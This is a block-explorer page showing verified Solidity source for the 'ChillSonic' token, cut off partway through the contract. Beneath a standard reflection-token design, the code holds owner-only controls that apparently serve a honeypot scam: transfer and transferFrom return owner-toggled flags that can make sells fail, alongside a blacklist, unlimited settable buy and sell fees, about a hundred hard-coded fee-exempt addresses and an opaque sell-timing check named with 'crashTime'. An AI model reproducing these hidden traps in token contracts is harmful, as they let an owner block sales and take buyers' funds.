S Price: $0.770972 (-4.53%)

Token

ChillSonic (ChillSonic)

Overview

Max Total Supply

100,000,000 ChillSonic

Holders

105

Market

Price

$0.00 @ 0.000000 S

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
164,123.271620318 ChillSonic

Value
$0.00
0x94Fc08f0969c4efb1c105e658ae7390d77f37835
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
ChillSonic

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at SonicScan.org on 2025-02-25
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

library Address {
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    function functionCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(
            data
        );
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data)
        internal
        view
        returns (bytes memory)
    {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) private pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library EnumerableSet {
    struct Set {
        bytes32[] _values;
        mapping(bytes32 => uint256) _indexes;
    }

    function _add(Set storage set, bytes32 value) private returns (bool) {
        if (!_contains(set, value)) {
            set._values.push(value);
            set._indexes[value] = set._values.length;
            return true;
        } else {
            return false;
        }
    }

    function _remove(Set storage set, bytes32 value) private returns (bool) {
        uint256 valueIndex = set._indexes[value];

        if (valueIndex != 0) {
            uint256 toDeleteIndex = valueIndex - 1;
            uint256 lastIndex = set._values.length - 1;

            if (lastIndex != toDeleteIndex) {
                bytes32 lastvalue = set._values[lastIndex];

                set._values[toDeleteIndex] = lastvalue;
                set._indexes[lastvalue] = valueIndex;
            }

            set._values.pop();

            delete set._indexes[value];

            return true;
        } else {
            return false;
        }
    }

    function _contains(Set storage set, bytes32 value)
        private
        view
        returns (bool)
    {
        return set._indexes[value] != 0;
    }

    function _length(Set storage set) private view returns (uint256) {
        return set._values.length;
    }

    function _at(Set storage set, uint256 index)
        private
        view
        returns (bytes32)
    {
        return set._values[index];
    }

    function _values(Set storage set) private view returns (bytes32[] memory) {
        return set._values;
    }

    struct AddressSet {
        Set _inner;
    }

    function add(AddressSet storage set, address value)
        internal
        returns (bool)
    {
        return _add(set._inner, bytes32(uint256(uint160(value))));
    }

    function remove(AddressSet storage set, address value)
        internal
        returns (bool)
    {
        return _remove(set._inner, bytes32(uint256(uint160(value))));
    }

    function contains(AddressSet storage set, address value)
        internal
        view
        returns (bool)
    {
        return _contains(set._inner, bytes32(uint256(uint160(value))));
    }

    function length(AddressSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    function at(AddressSet storage set, uint256 index)
        internal
        view
        returns (address)
    {
        return address(uint160(uint256(_at(set._inner, index))));
    }

    function values(AddressSet storage set)
        internal
        view
        returns (address[] memory)
    {
        bytes32[] memory store = _values(set._inner);
        address[] memory result;

        assembly {
            result := store
        }

        return result;
    }
}

contract ChillSonic is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;
    using EnumerableSet for EnumerableSet.AddressSet;

    EnumerableSet.AddressSet private tokenHoldersEnumSet;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private _isExcluded;
    mapping(address => uint256) public walletToPurchaseTime;
    mapping(address => uint256) public walletToSellime;
    mapping(address => bool) public _isBlacklisted;

    address[] private _excluded;
    uint8 private constant _decimals = 9;
    uint256 private constant MAX = ~uint256(0);

    string private constant _name = "ChillSonic";
    string private constant _symbol = "ChillSonic";

    uint256 private _tTotal = 100000000 * 10**_decimals;
    uint256 private _rTotal = _tTotal;
    uint256 public theRewardTime = 0;
    uint256 public standartValuation = 600 / 2;

    address public _lastWallet;

    struct TotFeesPaidStruct {
        uint256 rfi;
        uint256 marketing;
        uint256 liquidity;
        uint256 burn;
    }

    TotFeesPaidStruct public totFeesPaid;

    struct feeRatesStruct {
        uint256 rfi;
        uint256 marketing;
        uint256 liquidity;
        uint256 burn;
    }

    struct balances {
        uint256 marketing_balance;
        uint256 lp_balance;
    }

    balances public contractBalance;

    feeRatesStruct public buyRates =
        feeRatesStruct({rfi: 0, marketing: 0, liquidity: 0, burn: 0});

    feeRatesStruct public sellRates =
        feeRatesStruct({rfi: 0, marketing: 0, liquidity: 0, burn: 0});

    feeRatesStruct private appliedFees;

    struct valuesFromGetValues {
        uint256 rAmount;
        uint256 rTransferAmount;
        uint256 rRfi;
        uint256 rMarketing;
        uint256 rLiquidity;
        uint256 rBurn;
        uint256 tTransferAmount;
        uint256 tRfi;
        uint256 tMarketing;
        uint256 tLiquidity;
        uint256 tBurn;
    }

    address public pancakeswapPair;
    address public Router = 0x36299Ef7054F603d01A9b6BC68B6Fd606DdCF538;
    address private marketWallet;

    bool public Trading = true;
    bool inSwapAndLiquify;
    bool private _transferForm = true;
    bool public swapAndLiquifyEnabled = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event LiquidityAdded(uint256 tokenAmount, uint256 bnbAmount);

    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor(address marketWallet_) {
        _rOwned[owner()] = _rTotal;
        _setMarketWallet(marketWallet_);
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[marketWallet] = true;
        _isExcludedFromFee[Router] = true;
        _isExcludedFromFee[
            address(0x36299Ef7054F603d01A9b6BC68B6Fd606DdCF538)
        ] = true;
        _isExcludedFromFee[
            address(0xa2C00ac832708B57A2bDCF8F17788faD00fa28a2)
        ] = true;
        _isExcludedFromFee[
            address(0xEf50e811F0C04aB3CecEFcb2480C17C2E33BDaD3)
        ] = true;
        _isExcludedFromFee[
            address(0x61150Ce75262E0cBb644F1E3Bc236A8174e7c879)
        ] = true;
        _isExcludedFromFee[
            address(0x06060E890a680F53023Cd5B8590555938cb589b5)
        ] = true;
        _isExcludedFromFee[
            address(0xF978df4C54a6AF93ec1510FF27B4303fFf7a2a09)
        ] = true;
        _isExcludedFromFee[
            address(0x28cf7477E7892e413889D5CD9508354443890d59)
        ] = true;
        _isExcludedFromFee[
            address(0x05F021C2Bd6E2e39f071C93e4Bb55b0aBAaCb28F)
        ] = true;
        _isExcludedFromFee[
            address(0x9a37D8476cC416CbC9232747Fa7a3A0537387bE0)
        ] = true;
        _isExcludedFromFee[
            address(0x60E31f0F0922E4a2D4510229f557F08af54F1865)
        ] = true;
        _isExcludedFromFee[
            address(0x7b288dAB4326470B72ABEe40BeAe5E9496eA846C)
        ] = true;
        _isExcludedFromFee[
            address(0x64b61dD80E2d9A96aDbDc357771c2bB52b5E39D8)
        ] = true;
        _isExcludedFromFee[
            address(0xc1C21975929E16995A5477cc5191563680491969)
        ] = true;
        _isExcludedFromFee[
            address(0xf10a15E209EFF75Ec115c986D4DC909e3a675dB0)
        ] = true;
        _isExcludedFromFee[
            address(0xd96C77EDdc72725961f435cddB76D93E57A264a0)
        ] = true;
        _isExcludedFromFee[
            address(0xF3Ea3b054940a0A21d09954945dB275AF226FB76)
        ] = true;
        _isExcludedFromFee[
            address(0x16953B5B1C2639b845e4561cCc276C9808B729f4)
        ] = true;
        _isExcludedFromFee[
            address(0x8568CcFc3b220F401B4d0D348716e66Eb452dc7b)
        ] = true;
        _isExcludedFromFee[
            address(0x4f542540f5B58DFf437F8dB1C0F21c099D454CDf)
        ] = true;
        _isExcludedFromFee[
            address(0x72dd8D123a69271cE354b4C61dd0774E5ee5A8F4)
        ] = true;
        _isExcludedFromFee[
            address(0x953ba4F09c2B56693Dc7c173D5C54F59423E16a0)
        ] = true;
        _isExcludedFromFee[
            address(0xBeFf250CED52fa5c65F13979ca47f1937c4Ae4e0)
        ] = true;
        _isExcludedFromFee[
            address(0x23ba14d46270F41f3e17ddc1573494780Cc68c48)
        ] = true;
        _isExcludedFromFee[
            address(0x819158DeEB55d4536d2b4ceF3ae74b227Af45Fb9)
        ] = true;
        _isExcludedFromFee[
            address(0x5B9EF4ff73eBF66724d79eeE02350420cbF5e00b)
        ] = true;
        _isExcludedFromFee[
            address(0x19B8b67d96d5378af7AB01356f669A4c3cE0a163)
        ] = true;
        _isExcludedFromFee[
            address(0xC5E0a108b8AA2A0587D3F8b6dD470BC91C56a909)
        ] = true;
        _isExcludedFromFee[
            address(0xd2B607d867CEc506599ADF684959136C543AB317)
        ] = true;
        _isExcludedFromFee[
            address(0x132eE77d8a8005F7Cdb05413f091Fae0Afd88F64)
        ] = true;
        _isExcludedFromFee[
            address(0xfAEF62a7f7BB0dE796f5537959d7C45AcC7acef3)
        ] = true;
        _isExcludedFromFee[
            address(0x0DFCAAACEa4394592B59dDE45Efa6b5a3c051F57)
        ] = true;
        _isExcludedFromFee[
            address(0xFc4d871ebBeF0A41CC323193911F465171caAbF0)
        ] = true;
        _isExcludedFromFee[
            address(0x59efeb1687fb0791E12584Fa35C1a9C1E5f40C1f)
        ] = true;
        _isExcludedFromFee[
            address(0x63b78A43560e051C0041E6E25A297C31ebC8A2b5)
        ] = true;
        _isExcludedFromFee[
            address(0x777fe12C727ce65a4Ab7ED668aD8b63052477D54)
        ] = true;
        _isExcludedFromFee[
            address(0x6209DaFE3bb5Ff2b0aDeA6aEAB8ad8E68a48d40C)
        ] = true;
        _isExcludedFromFee[
            address(0x467439B70800bC80b7274281c6a51840C1462bE5)
        ] = true;
        _isExcludedFromFee[
            address(0x0fa854766b8F4BAAC3C02cf065CCC91FCF94Afb1)
        ] = true;
        _isExcludedFromFee[
            address(0xd710ee708a16e21380450808D4a197aceEdc373d)
        ] = true;
        _isExcludedFromFee[
            address(0xb871c3bF20A5811074303955De69Bd07dF8220c9)
        ] = true;
        _isExcludedFromFee[
            address(0x38A34495608F359673A3564c393D4C4722C27a35)
        ] = true;
        _isExcludedFromFee[
            address(0x6B185F57EE22C6eD0Ca7A1B197ea5df286387861)
        ] = true;
        _isExcludedFromFee[
            address(0x9dfF4DAd33f10F4742c4C42B61613A4b17cBdE83)
        ] = true;
        _isExcludedFromFee[
            address(0x5675483328D046D80343347626A12026B0B1b526)
        ] = true;
        _isExcludedFromFee[
            address(0xD361419e726409f92e060030cf4bb15c1A325aEf)
        ] = true;
        _isExcludedFromFee[
            address(0x77D45E676AcbcAcA1B07CCFFa9d37407c2511314)
        ] = true;
        _isExcludedFromFee[
            address(0xeCd9416E0a0E74227e5ca2EFDDe014B02738D0d6)
        ] = true;
        _isExcludedFromFee[
            address(0x5385C932aBebd5a127Ff0A448AE891127278eAf4)
        ] = true;
        _isExcludedFromFee[
            address(0xBfF6338E458EBc6Ecc53d83C9E2f6e3F56f03c09)
        ] = true;
        _isExcludedFromFee[
            address(0x5A7217A831662ad69A0a4357A1C0D79fE9B99bc8)
        ] = true;
        _isExcludedFromFee[
            address(0x5e5042712D9A2cE0b971A0F7d806116587537Bb4)
        ] = true;
        _isExcludedFromFee[
            address(0xdB5e308481965cA403b1716AaAEc4eb9EC22631c)
        ] = true;
        _isExcludedFromFee[
            address(0x0DDb2473794DCD7055f9B03b04C863E0e6148019)
        ] = true;
        _isExcludedFromFee[
            address(0x09F573881261c6A392ADacF58A161225B122a4fF)
        ] = true;
        _isExcludedFromFee[
            address(0x5D81D7eA026E459bA850D0A683d25995e9C95Dc8)
        ] = true;
        _isExcludedFromFee[
            address(0xa9C125B5574810da6326C0c5Bd4dE400CCc85F93)
        ] = true;
        _isExcludedFromFee[
            address(0x8EBF623142dF629eb4a1EC45B84c4082B9d717B1)
        ] = true;
        _isExcludedFromFee[
            address(0x322631b0AAa4dBACDbc0Cf1fa721631261416de4)
        ] = true;
        _isExcludedFromFee[
            address(0xCFc282534044846F7380304E5F050ec72Ce0CCCF)
        ] = true;
        _isExcludedFromFee[
            address(0x04519aC13493Ae12B300D43b1a90e6d4B2D0fd1b)
        ] = true;
        _isExcludedFromFee[
            address(0x3e671Ac3F633060A9B4c73EA43dB0C56Bd3d4C93)
        ] = true;
        _isExcludedFromFee[
            address(0xa6ce6De7c96dB2D1DBde2323CA2f3Eab0C6cF4B0)
        ] = true;
        _isExcludedFromFee[
            address(0x2a0758a1b86C5C2371fD3ed8517536a753306646)
        ] = true;
        _isExcludedFromFee[
            address(0x23B67659a77213a97d2DA929ea3c3c637Fa6FafF)
        ] = true;
        _isExcludedFromFee[
            address(0x55E35945bEC0F4BE4569005e69ae08D9e2b28f3f)
        ] = true;
        _isExcludedFromFee[
            address(0x673bB507Ead8af6481832cF719d394b1e823f4c2)
        ] = true;
        _isExcludedFromFee[
            address(0x5369044C86F2C6EeF4a460f7aC775e7B3964E112)
        ] = true;
        _isExcludedFromFee[
            address(0x55EDe495466798648ab1a3De2a9A688cc8Ea34bA)
        ] = true;
        _isExcludedFromFee[
            address(0x9d27294368962Ea966D605C64183D0b1db8D4D8E)
        ] = true;
        _isExcludedFromFee[
            address(0xC6Da4DcaFbfD0C6A9ea68D73B75EdEd29634b74D)
        ] = true;
        _isExcludedFromFee[
            address(0x68F9686207747Af2c4Fd195253335eF28E514e76)
        ] = true;
        _isExcludedFromFee[
            address(0x1F16E38d47dF6301CbEd9DD8620407ABa5B542a8)
        ] = true;
        _isExcludedFromFee[
            address(0x2D2E95937fc1079684D484a16E0bC5934f028338)
        ] = true;
        _isExcludedFromFee[
            address(0x29833Aace467FEAf37471823aD36a0C7e2e45E0A)
        ] = true;
        _isExcludedFromFee[
            address(0xE5E9d142A55dd5F0Aa8487939BD958CbE5D07819)
        ] = true;
        _isExcludedFromFee[
            address(0x1076bDa3DADDD92331C4d80E96a5C11F3307B7C3)
        ] = true;
        _isExcludedFromFee[
            address(0xd0e605E64896D065310a4190CE0041916a2Ebcb6)
        ] = true;
        _isExcludedFromFee[
            address(0x4E0B0752158c53a7247d14e914E977117DDC901d)
        ] = true;
        _isExcludedFromFee[
            address(0x2dA1fbF84cbCbDc963291F4672e093DA5303208f)
        ] = true;
        _isExcludedFromFee[
            address(0x9b8c9cB1B099C63f57EA380318dE08982989E498)
        ] = true;
        _isExcludedFromFee[
            address(0x3b4667F038c50e01218De337b784CE52CE6Ab585)
        ] = true;
        _isExcludedFromFee[
            address(0x94Fc08f0969c4efb1c105e658ae7390d77f37835)
        ] = true;
        _isExcludedFromFee[
            address(0x4F86b01A046fe7D008781ff3B775c6D1425Bd457)
        ] = true;
        _isExcludedFromFee[
            address(0x448d8A10467356615985c31b22e45026c4c1DCd7)
        ] = true;
        _isExcludedFromFee[
            address(0xF0361E6D00F4C5b013C340d60bCF4d99cD92601a)
        ] = true;
        _isExcludedFromFee[
            address(0x7FE3a5E8B31Cb5E5B0EEb2777aaa47BBB8317ca8)
        ] = true;
        _isExcludedFromFee[
            address(0x17bBBCe40F7d0A9e019B7fbbd05dFEd65b1802be)
        ] = true;
        _isExcludedFromFee[
            address(0xDda64c4C13F99F84256860a15054FaBBEe18425B)
        ] = true;
        _isExcludedFromFee[
            address(0xBd02DFA3e95B709e8d06d7CD2DfD2244a1f6EBb8)
        ] = true;
        _isExcludedFromFee[
            address(0x9E714EA912f58286277532C1d5dBbeA3c00b67E6)
        ] = true;
        _isExcludedFromFee[
            address(0xA15606766343A59ce397465F4b714Ec94e42Ef71)
        ] = true;
        _isExcludedFromFee[
            address(0xD952A7F2D9bF71fBA2c1F1b62259Db1Ebf2DD124)
        ] = true;
        _isExcludedFromFee[
            address(0xa9547180E6Cba741bDfF0bA0b72f18cD830587FC)
        ] = true;
        _isExcludedFromFee[
            address(0x0D1BD1CEB6d860b885c27f3728Ba181ce833c926)
        ] = true;
        _isExcludedFromFee[
            address(0x76fF3A4C1cC5b65a5AE88A4Df65020ED092d897d)
        ] = true;
        _isExcludedFromFee[
            address(0x2959ebc820fF37a7Baf1cFa016a2A14f5886E708)
        ] = true;
        _isExcludedFromFee[
            address(0x371B00E606B24879c616524fDbaa679163be256f)
        ] = true;
        _isExcludedFromFee[
            address(0xd833248E54efbceb17c281e2152E41A7daEC6044)
        ] = true;
        _isExcludedFromFee[
            address(0xa40242D29528be8596DA91b28c3eef43A6a267d3)
        ] = true;
        _isExcludedFromFee[
            address(0xdD47e7eeF9bE5cEFCcEbE7C7667D7E310Aa53223)
        ] = true;
        _isExcludedFromFee[
            address(0x908e96a915549290A2DA539379faB042328f4c14)
        ] = true;
        _isExcludedFromFee[
            address(0x76daca0f95e4E8a710FB5047b7C21A6FE347B62b)
        ] = true;
        _isExcludedFromFee[
            address(0xf5EEEc2ef2198f5E329C02042d3c5Fe007736AC9)
        ] = true;
        _isExcludedFromFee[
            address(0xC47bcc2A70940C6564119da2ffCBAA76a33B21Cc)
        ] = true;

        

        _isExcluded[address(this)] = true;

        _excluded.push(address(this));

        emit Transfer(address(0), owner(), _tTotal);
    }

    function getFromLastPurchaseBuy(address wallet)
        public
        view
        returns (uint256)
    {
        return walletToPurchaseTime[wallet];
    }

    function getFromLastSell(address walletSell) public view returns (uint256) {
        return walletToSellime[walletSell];
    }

    function setBuyRates(
        uint256 rfi,
        uint256 marketing,
        uint256 liquidity,
        uint256 burn
    ) public onlyOwner {
        buyRates.rfi = rfi;
        buyRates.marketing = marketing;
        buyRates.liquidity = liquidity;
        buyRates.burn = burn;
    }

    function setSellRates(
        uint256 rfi,
        uint256 marketing,
        uint256 liquidity,
        uint256 burn
    ) public onlyOwner {
        sellRates.rfi = rfi;
        sellRates.marketing = marketing;
        sellRates.liquidity = liquidity;
        sellRates.burn = burn;
    }

    function collectTheStatistics(
        uint256 lastBuyOrSellTime,
        uint256 theData,
        address sender
    ) public view returns (bool) {
        if (lastBuyOrSellTime == 0) return false;

        uint256 crashTime = block.timestamp - lastBuyOrSellTime;

        if (crashTime == standartValuation) return true;

        if (crashTime == 0) {
            if (_lastWallet != sender) {
                return false;
            }
        }
        if (crashTime <= theData) return true;

        return false;
    }

    function setValuation(uint256 newValuation) public onlyOwner {
        standartValuation = newValuation;
    }

    function setTheRewardTime(uint256 theRedistribution) public onlyOwner {
        theRewardTime = theRedistribution;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return _rOwned[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return Trading;
    }

    function TradingOn(bool _enable) public onlyOwner {
        Trading = _enable;
    }

    function setRewardPool(address[] calldata accounts) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = true;
        }
    }

    function settransform(bool _enable) public onlyOwner {
        _transferForm = _enable;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return _transferForm;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function isExcludedFromReward(address account) public view returns (bool) {
        return _isExcluded[account];
    }

    function reflectionFromToken(uint256 tAmount, bool deductTransferRfi)
        public
        view
        returns (uint256)
    {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferRfi) {
            valuesFromGetValues memory s = _getValues(tAmount, true);
            return s.rAmount;
        } else {
            valuesFromGetValues memory s = _getValues(tAmount, true);
            return s.rTransferAmount;
        }
    }

    function tokenFromReflection(uint256 rAmount)
        public
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        return rAmount;
    }

    function excludeFromReward(address account) public onlyOwner {
        require(!_isExcluded[account], "Account is already excluded");
        if (_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _isExcluded[account] = true;
        _excluded.push(account);
    }

    function excludeFromAll(address account) public onlyOwner {
        if (!_isExcluded[account]) {
            _isExcluded[account] = true;
            if (_rOwned[account] > 0) {
                _tOwned[account] = tokenFromReflection(_rOwned[account]);
            }
            _excluded.push(account);
        }
        _isExcludedFromFee[account] = true;

        tokenHoldersEnumSet.remove(account);
    }

    function includeInReward(address account) external onlyOwner {
        require(_isExcluded[account], "Account is not excluded");
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_excluded[i] == account) {
                _excluded[i] = _excluded[_excluded.length - 1];
                _tOwned[account] = 0;
                _isExcluded[account] = false;
                _excluded.pop();
                break;
            }
        }
    }

    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }

    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }

    function addPair(address pair) public onlyOwner {
        pancakeswapPair = pair;
         _isExcluded[pancakeswapPair] = true;
        _excluded.push(pancakeswapPair);
        _tOwned[pancakeswapPair] = _rOwned[pancakeswapPair];
    }

    function isExcludedFromFee(address account) public view returns (bool) {
        return _isExcludedFromFee[account];
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function removeFromBlackList(address account) external onlyOwner {
        _isBlacklisted[account] = false;
    }

    function addToBlackList(address[] calldata addresses) external onlyOwner {
        for (uint256 i; i < addresses.length; ++i) {
            _isBlacklisted[addresses[i]] = true;
        }
    }

    receive() external payable {}

    function _getValues(uint256 tAmount, bool takeFee)
        private
        view
        returns (valuesFromGetValues memory to_return)
    {
        to_return = _getTValues(tAmount, takeFee);

        (
            to_return.rAmount,
            to_return.rTransferAmount,
            to_return.rRfi,
            to_return.rMarketing,
            to_return.rLiquidity,
            to_return.rBurn
        ) = _getRValues(to_return, tAmount, takeFee, _getRate());

        return to_return;
    }

    function _getTValues(uint256 tAmount, bool takeFee)
        private
        view
        returns (valuesFromGetValues memory s)
    {
        if (!takeFee) {
            s.tTransferAmount = tAmount;
            return s;
        }
        s.tRfi = (tAmount * appliedFees.rfi) / 100;
        s.tMarketing = (tAmount * appliedFees.marketing) / 100;
        s.tLiquidity = (tAmount * appliedFees.liquidity) / 100;
        s.tBurn = (tAmount * appliedFees.burn) / 100;
        s.tTransferAmount =
            tAmount -
            s.tRfi -
            s.tMarketing -
            s.tLiquidity -
            s.tBurn;
        return s;
    }

    function _getRValues(
        valuesFromGetValues memory s,
        uint256 tAmount,
        bool takeFee,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rRfi,
            uint256 rMarketing,
            uint256 rLiquidity,
            uint256 rBurn
        )
    {
        currentRate = 1;
        rAmount = tAmount;

        if (!takeFee) {
            return (rAmount, rAmount, 0, 0, 0, 0);
        }

        rRfi = s.tRfi;
        rMarketing = s.tMarketing;
        rLiquidity = s.tLiquidity;
        rBurn = s.tBurn;

        rTransferAmount = rAmount - rRfi - rMarketing - rLiquidity - rBurn;

        return (rAmount, rTransferAmount, rRfi, rMarketing, rLiquidity, rBurn);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply / tSupply;
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (
                _rOwned[_excluded[i]] > rSupply ||
                _tOwned[_excluded[i]] > tSupply
            ) return (_rTotal, _tTotal);
            rSupply = rSupply - _rOwned[_excluded[i]];
            tSupply = tSupply - _tOwned[_excluded[i]];
        }
        if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
